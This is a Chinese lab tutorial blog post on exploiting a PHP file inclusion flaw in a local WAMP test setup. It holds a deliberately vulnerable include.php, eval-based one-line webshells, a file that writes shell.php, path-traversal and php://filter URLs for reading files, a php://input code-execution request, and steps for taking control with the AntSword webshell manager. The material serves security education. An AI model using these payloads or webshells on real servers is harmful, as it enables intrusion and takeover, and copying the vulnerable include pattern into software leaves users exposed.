当前位置:网站首页>【文件包含漏洞-03】文件包含漏洞的六种利用方式

【文件包含漏洞-03】文件包含漏洞的六种利用方式

2022-06-25 10:23:00 像风一样9

1 文件包含漏洞的利用方式简介

在前两节了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的利用方法。
利用方式:本节内容从以下六方面来分享文件包含漏洞的利用方式。

  • 读取敏感文件内容;
  • 直接包含图片木马GetShell;
  • 包含文件写shell文件再GetShell;
  • 利用PHP封装读取敏感文件内容;
  • 利用PHP封装传输PHP源码;
  • 利用PHP封装执行PHP语句。

2 实验环境及准备

(1)靶机(服务器):本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。

  • 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。
  • 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

(2)测试机:真实机.
(3)服务器与真实机都连接了VMnet1。

3 利用方式一:读取敏感文件

3.1 实验简介

目的:了解文件包含漏洞获取服务器本地敏感文件的利用方式。

我们可以利用文件包含漏洞读取任意文件。读取文件的时候有利条件:

  • 目标主机文件存在(目标文件的路径,可用绝对路径或相对路径);
  • 具有文件的可读权限。

3.2 实验步骤

以获取服务器本地host文件为例,Windows系统下的host文件路径为c:\windows\System32\drivers\etc\hosts。具体操作步骤如下:

(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=c:\windows\System32\drivers\etc\hosts,网页显示如下,可以看到成功显示服务器本地的host文件内容。
在这里插入图片描述
(2)以上是采用绝对路径的写法,如果是采用相对路径,可以多添加几个…\表示上级目录直到根目录,如http://172.16.1.1/FileInclusion/include.php?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts,网页显示如下,同样可以读取host文件。对于Windows系统,采用该方式来读取,如果服务器部署不是在C盘的话,就获取不到了数据了;对于Linux系统,同在一个根目录下,则没有该问题。
在这里插入图片描述

4 利用方法二:直接包含图片木马GetShell

4.1 实验简介

目的:通过利用服务器文件包含漏洞,使用中国蚁剑和图片木马(含一句话木马)GetShell。

实验准备
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php @eval($_REQUEST['cmd']);?>,并命名为muma.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)

(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。

4.2 实验步骤

(1)真实机使用浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma.jpg&cmd=print(123456);,注意结尾有分号,可以看到能激活文件并执行等于号后的内容。
在这里插入图片描述

(2)中国蚁剑连接。由于php代码是存在jpg文件中的,如果没有借助其他解析漏洞就没有运行里面的代码,而在上一步中成功利用http://172.16.1.1/FileInclusion/include.php?path=muma.jpg执行图片马中的PHP语句,因此可以用中国蚁剑来连接它。打开中国蚁剑,添加数据并填写以下资料,点击添加。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(3)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。
在这里插入图片描述
在这里插入图片描述

5 利用方法三:包含木马写Shell

5.1 实验简介

目的:利用文件包含漏洞,执行图片马,生成Shell代码。同样地,可以生成其他代码。

实验准备
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>(该代码含义为:在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd'])?>),并命名为muma2.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)

(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。

5.2 实验步骤

(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma2.jpg,网页显示如下,没有报错。
在这里插入图片描述

(2)验证刚刚代码是否执行成功。打开靶机中的test文件夹,可以看到成功生成shell.php文件。
在这里插入图片描述
(3)打开蚁剑并连接shell.php。右键添加数据→填写数据。如下所示此处一句话木马位于PHP文件中,可以直接访问而无需再借助文件包含漏洞。新建连接如下。
在这里插入图片描述
在这里插入图片描述

(4)双击新建的连接,可以成功管理服务器。
在这里插入图片描述

6 利用方法四:利用PHP封装协议—读取本地文件

我们可以利用php的file协议访问本地系统文件

6.1 实验简介

目的:该方式与“利用方法一”目的一致,由于存在该方法,所以学习一下。

条件:要求PHP配置文件中将allow_url_include参数配置为On。
在这里插入图片描述

6.2 实验步骤

在真实机浏览器输入http://172.16.1.1/FileInclusion/include.php?path=file://c:\windows\System32\drivers\etc\hosts,可以看到成功读取文件内容。
在这里插入图片描述

注意:这种方法与直接读取本地文件类似,为什么还要用这种方法。实战中才能体会。

7 利用方法五:利用PHP封装协议—传输PHP文件

7.1 实验简介

目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法

条件:要求PHP配置文件中将allow_url_include参数配置为On。
在这里插入图片描述

7.2 实验步骤

(1)真实机浏览器访问时输入http://172.16.1.1/FileInclusion/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php,页面显示内容如下。这里是利用PHP伪协议来读取文件,filter表示过滤:read表示读取文件内容,读取方式为convert.base64-encode(读取后的文件进行base64编码),resource后面跟资源文件名。
在这里插入图片描述
(2)将显示出来的代码复制。黏贴到在线加解码工具中,即可查看源码。
在这里插入图片描述

8 利用方法六:利用PHP封装协议—执行PHP代码(失败,以后再尝试)

8.1 实验简介

目的:在本地或远程没有文件的前提下,直接执行PHP代码。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
在这里插入图片描述

8.2 实验步骤

(1)真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键选择Paste URL as request以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。
在这里插入图片描述
(2)修改path参数为php://input,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>,如下图,并点击发送。在响应中显示探针语句执行结果的。
在这里插入图片描述

9 总结

(1)关于图片马的几种执行方式总结:

  • 利用中间件解析漏洞,不同中间件不同版本的利用方式往往不同。参考以下文章:
    《【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx》;
  • 利用.htaccess修改Apache局部配置。参考《.htaccess攻击实验》
  • 利用文件包含执行漏洞。参考本文内容。

(2)掌握文件包含漏洞的六种利用方式。
(3)利用PHP的封装协议的前提条件是开启了远程文件包含(PHP配置文件中将allow_url_include参数配置为On),但是一般情况下该项设置是默认关闭的,那么为啥PHP的封装协议又有什么用途呢?主要是用于打CTF,以及作为一个永久控制的后门。

参考文献

php://》介绍各类伪协议如下。

原网站

版权声明
本文为[像风一样9]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_64378913/article/details/125247370